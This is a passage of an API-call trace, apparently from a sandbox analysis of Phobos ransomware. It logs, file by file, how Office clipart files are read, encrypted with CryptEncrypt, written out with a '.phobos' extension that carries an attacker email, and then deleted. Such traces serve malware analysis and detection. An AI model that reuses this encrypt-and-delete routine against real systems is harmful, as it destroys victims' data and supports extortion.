[0058.465] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0058.466] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.470] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2344) returned 1 [0058.470] CloseHandle (hObject=0x2fc) returned 1 [0058.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0058.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.471] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.471] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.478] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc650) returned 1 [0058.478] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.478] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x928, lpOverlapped=0x0) returned 1 [0058.500] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x930, dwBufLen=0x930 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x930) returned 1 [0058.500] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x930, lpOverlapped=0x0) returned 1 [0058.501] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0058.501] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.501] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.501] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.501] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.501] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.501] CloseHandle (hObject=0x2fc) returned 1 [0058.501] CloseHandle (hObject=0x330) returned 1 [0058.502] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0058.503] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.503] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3416) returned 1 [0058.503] CloseHandle (hObject=0x330) returned 1 [0058.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0058.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.504] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.504] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.504] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0058.504] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.504] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xd58, lpOverlapped=0x0) returned 1 [0058.519] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xd60, dwBufLen=0xd60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xd60) returned 1 [0058.519] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xd60, lpOverlapped=0x0) returned 1 [0058.520] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc890) returned 1 [0058.520] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.520] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.520] CryptDestroyKey (hKey=0x10dc890) returned 1 [0058.520] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.520] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.520] CloseHandle (hObject=0x330) returned 1 [0058.520] CloseHandle (hObject=0x2fc) returned 1 [0058.521] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0058.525] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.532] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=6636) returned 1 [0058.532] CloseHandle (hObject=0x338) returned 1 [0058.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0058.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.533] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.533] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.535] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0058.535] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.535] ReadFile (in: hFile=0x338, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x19ec, lpOverlapped=0x0) returned 1 [0058.537] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x19f0) returned 1 [0058.537] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x19f0, lpOverlapped=0x0) returned 1 [0058.538] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0058.538] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.538] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.538] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.538] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.538] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.538] CloseHandle (hObject=0x338) returned 1 [0058.538] CloseHandle (hObject=0x328) returned 1 [0058.539] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0058.539] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.540] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3144) returned 1 [0058.540] CloseHandle (hObject=0x328) returned 1 [0058.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0058.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.540] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.540] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.541] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0058.541] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.541] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xc48, lpOverlapped=0x0) returned 1 [0058.548] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc50, dwBufLen=0xc50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc50) returned 1 [0058.548] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc50, lpOverlapped=0x0) returned 1 [0058.549] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0058.549] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.549] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.549] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.549] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.549] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.549] CloseHandle (hObject=0x328) returned 1 [0058.549] CloseHandle (hObject=0x338) returned 1 [0058.550] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0058.551] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.551] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=8492) returned 1 [0058.551] CloseHandle (hObject=0x338) returned 1 [0058.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0058.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.551] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.551] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.552] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0058.552] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.552] ReadFile (in: hFile=0x338, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x212c, lpOverlapped=0x0) returned 1 [0058.556] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2130, dwBufLen=0x2130 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2130) returned 1 [0058.556] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2130, lpOverlapped=0x0) returned 1 [0058.557] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0058.557] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.557] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.557] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.557] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.557] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0058.557] CloseHandle (hObject=0x338) returned 1 [0058.557] CloseHandle (hObject=0x328) returned 1 [0058.558] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0058.559] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.560] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7804) returned 1 [0058.560] CloseHandle (hObject=0x338) returned 1 [0058.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0058.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.561] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.561] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.562] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc550) returned 1 [0058.562] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, 